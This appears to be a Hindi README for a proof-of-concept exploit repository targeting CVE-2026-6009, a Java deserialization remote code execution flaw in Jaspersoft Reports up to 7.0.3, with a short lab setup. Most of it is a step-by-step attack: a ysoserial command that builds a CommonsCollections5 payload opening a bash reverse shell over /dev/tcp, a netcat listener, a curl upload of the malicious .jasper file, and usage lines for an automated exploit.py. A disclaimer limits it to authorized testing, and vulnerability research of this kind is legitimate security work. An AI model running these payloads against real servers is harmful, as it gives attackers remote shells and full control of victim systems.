
CVE-2026-6009 के लिए स्वचालित PoC शोषण, जो Jaspersoft Reports <=7.0.3 में Java डिसीरियलाइज़ेशन RCE है। ysoserial के माध्यम से दुर्भावनापूर्ण .jasper पेलोड उत्पन्न करता है और फ़ाइल अपलोड एंडपॉइंट के माध्यम से रिवर्स शेल प्रदान करता है।
⚠️ अस्वीकरण: यह रिपॉजिटरी केवल शैक्षिक उद्देश्यों और अधिकृत सुरक्षा परीक्षण के लिए है। इसका उपयोग उन सिस्टमों के विरुद्ध न करें जिनके आप मालिक नहीं हैं या जिनके परीक्षण की स्पष्ट लिखित अनुमति नहीं है।
Jaspersoft report लाइब्रेरी संस्करण <= 7.0.3 Java deserialization प्रवाह का शोषण करके रिमोट कोड निष्पादन (RCE) के प्रति संवेदनशील है। यह कमजोरी हमलावर को लाइब्रेरी के इस संस्करण का उपयोग करके सिस्टम पर एक रिवर्स शेल के साथ कनेक्शन स्थापित करने की अनुमति देती है।
डेटा संचारित करने के लिए, कुछ सिस्टमों को ऑब्जेक्ट को एक निश्चित संचारणीय प्रारूप में परिवर्तित करना होता है, इसे सीरियलाइजेशन कहते हैं। डीसीरियलाइजेशन इसका उल्टा कार्य है। Java में, संवेदनशील तंत्र ObjectInputStream.readObject() में है जिसका उपयोग इनपुट स्ट्रीम से किसी भी ऑब्जेक्ट को डीसीरियलाइज़ करने के लिए किया जाता है। चूंकि JRLoader.loadObject() Jaspersoft लाइब्रेरी में फ़ाइल रिपोर्ट पढ़ने के लिए इस विधि का उपयोग करता है, यह दुर्भावनापूर्ण कोड डालने के लिए एक खतरनाक प्रवेश बिंदु है।
केवल readObject() कोड ट्रिगर करने के लिए पर्याप्त नहीं है। यह केवल ज्ञात शोषणीय कक्षाओं पर काम करता है। फिर हमलावर ज्ञात गैजेट चेन जैसे CommonCollection का उपयोग करके अपने पेलोड को निष्पादित करते हैं।
प्रूफ ऑफ कॉन्सेप्ट (PoC) बनाने में सक्षम होने के लिए, मैंने Parrot मशीन पर Java वेब सर्वर का उपयोग करके एक लैब बनाई जो Jaspersoft Report Library का उपयोग करती है:
OS: Parrot OS 7 GNU/Linux
फ्रेमवर्क: Spring Boot संस्करण 2.7.18
निर्भरता: Jasperreports संस्करण 7.0.3
वातावरण: Java 11
कंपाइलर: Maven
@PostMapping("/upload-report")
public String uploadReport(@RequestParam("file") MultipartFile file) {
try {
InputStream is = file.getInputStream();
// ObjectInputStream.readObject() को JRLoader द्वारा आंतरिक रूप से कॉल किया जाता है
JasperReport report = (JasperReport) JRLoader.loadObject(is);
...
पहले चरण में, एक बार जब आप जान लें कि आपका लक्ष्य सिस्टम Jasperreport का एक संवेदनशील संस्करण उपयोग कर रहा है, तो आपको सटीक गंतव्य खोजने की आवश्यकता है जहां लक्ष्य jasper फ़ाइल प्राप्त करेगा।
इस वातावरण में, यह http://localhost:8080/upload-report है।
फिर आपको यह पता लगाने का एक तरीका खोजना होगा कि लक्ष्य सिस्टम में किस क्लास को गैजेट चेन के रूप में उपयोग किया जा सकता है। आप कुछ प्रयास करके भी देख सकते हैं कि कौन सी सिस्टम को ट्रिगर करती है।
व्हाइटबॉक्स संदर्भ में, हम स्वयं यह जानकारी देख सकते हैं:
mvn dependency:tree | grep -i "commons\|spring\|groovy\|beanshell"
हम पाते हैं कि सिस्टम CommonsCollections का उपयोग करता है।
CommonsCollections के लिए, वांछित पेलोड उत्पन्न करने के लिए ysoserial स्क्रिप्ट का उपयोग करें। यहाँ, एक रिवर्स शेल बनाएं:
java -jar ysoserial.jar CommonsCollections5 "/bin/bash -i >& /dev/tcp/IP_SOURCE/PORT 0>&1" > file.jasper
आपको संभवतः पेलोड निष्पादन करने के लिए CommonCollections के कई संस्करणों का परीक्षण करने की आवश्यकता होगी।
रिवर्स शेल कनेक्शन करने के लिए, हमें पेलोड द्वारा शुरू किए गए लक्ष्य सिस्टम से कनेक्शन प्राप्त करने के लिए एक पोर्ट पर सुनना होगा:
nc -lnvp 4444
अंत में, आपको बस अपने द्वारा बनाए गए पेलोड को उस स्थान पर भेजना होगा जो आपने पाया और यह पुष्टि करने के लिए अपने पोर्ट की जाँच करें कि लक्ष्य सिस्टम से कनेक्शन स्थापित हो गया है:
curl -X POST http://localhost:8080/upload-report -F "[email protected]"
एंडपॉइंट तक पहुंच रखने वाला हमलावर सर्वर विशेषाधिकारों के साथ मनमाना कोड निष्पादित कर सकता है, जिससे सिस्टम से पूर्ण समझौता हो सकता है।
exploit.py एक स्वचालित स्क्रिप्ट है जो कमजोरी CVE-2026-6009 से शोषण को पुन: उत्पन्न करती है।
python3 exploit.py -t TARGET -s IP_SOURCE -p PORT
python3 exploit.py -t http://localhost:8080/upload-report -s 192.168.1.1 -p 4444
| फ़्लैग | विवरण |
|---|---|
| -t, --target | .jasper फ़ाइल अपलोड करने का स्थान |
| -s, --source | आपका IP पता |
| -p, --port | वह पोर्ट जिससे रिवर्स शेल कनेक्ट होना चाहिए |